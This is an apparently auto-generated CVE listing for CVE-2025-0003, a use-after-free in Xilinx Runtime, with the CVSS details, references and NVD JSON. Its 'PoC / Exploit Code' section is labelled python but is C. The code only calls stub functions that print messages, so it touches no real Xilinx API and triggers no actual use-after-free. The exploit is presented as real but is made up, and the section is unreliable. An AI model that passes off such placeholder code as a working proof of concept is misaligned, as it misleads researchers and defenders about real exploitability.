CVE-2025-0003

Description

Inadequate lock protection within Xilinx Run time may allow a local attacker to trigger a Use-After-Free condition potentially resulting in loss of confidentiality or availability

CVSS Details

CVSS Score

7.3

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L

Configurations (Affected Products)

No configuration data available.

Xilinx Runtime (具体版本需参考AMD官方安全公告AMD-SB-8014)

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

// CVE-2025-0003 PoC - Xilinx Runtime Use-After-Free
// This PoC demonstrates the race condition in Xilinx Runtime lock protection

#include <windows.h>
#include <process.h>
#include <stdio.h>

// Simulated Xilinx Runtime API calls
void XilinxRT_Initialize() {
    printf("[+] Initializing Xilinx Runtime...\n");
}

void XilinxRT_ProcessDesign(const char* designFile) {
    printf("[+] Processing design: %s\n", designFile);
    // Simulate processing with inadequate lock protection
}

void XilinxRT_ReleaseResource(int resourceId) {
    printf("[+] Releasing resource ID: %d\n", resourceId);
    // UAF occurs here - resource freed but may still be accessed
}

unsigned int __stdcall TriggerThread(void* arg) {
    const char* designFile = (const char*)arg;
    
    // Thread 1: Process design
    XilinxRT_ProcessDesign(designFile);
    
    // Race condition: other threads may access freed resources
    Sleep(10);
    
    // Thread 2: Release resource (may be accessed by other threads)
    XilinxRT_ReleaseResource(1);
    
    // Use-after-free: accessing already released resource
    XilinxRT_ProcessDesign(designFile);
    
    return 0;
}

int main() {
    printf("[*] CVE-2025-0003 PoC - Xilinx Runtime Lock Protection Issue\n");
    printf("[*] CVSS: 7.3 (AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L)\n\n");
    
    XilinxRT_Initialize();
    
    const char* maliciousDesign = "malicious.bit";
    
    // Create multiple threads to trigger race condition
    HANDLE threads[4];
    for (int i = 0; i < 4; i++) {
        threads[i] = (HANDLE)_beginthreadex(NULL, 0, TriggerThread, (void*)maliciousDesign, 0, NULL);
    }
    
    WaitForMultipleObjects(4, threads, TRUE, INFINITE);
    
    printf("[+] PoC execution completed\n");
    printf("[*] Note: Actual exploitation requires specific Xilinx Runtime environment\n");
    
    return 0;
}

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2025-0003
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2025-0003
[3] CVE Details https://www.cvedetails.com/cve/CVE-2025-0003/
[4] VulDB https://vuldb.com/cve/CVE-2025-0003
[5] https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-8014.html

Raw JSON Data

JSON

{"cve": {"id": "CVE-2025-0003", "sourceIdentifier": "[email protected]", "published": "2025-11-24T21:16:01.820", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "Inadequate lock protection within Xilinx Run time may allow a local attacker to trigger a Use-After-Free condition potentially resulting in loss of confidentiality or availability"}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:L/UI:R/S:C/C:H/I:L/A:L", "baseScore": 7.3, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "LOW", "availabilityImpact": "LOW"}, "exploitabilityScore": 1.5, "impactScore": 5.3}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-413"}]}], "references": [{"url": "https://www.amd.com/en/resources/product-security/bulletin/AMD-SB-8014.html", "source": "[email protected]"}]}}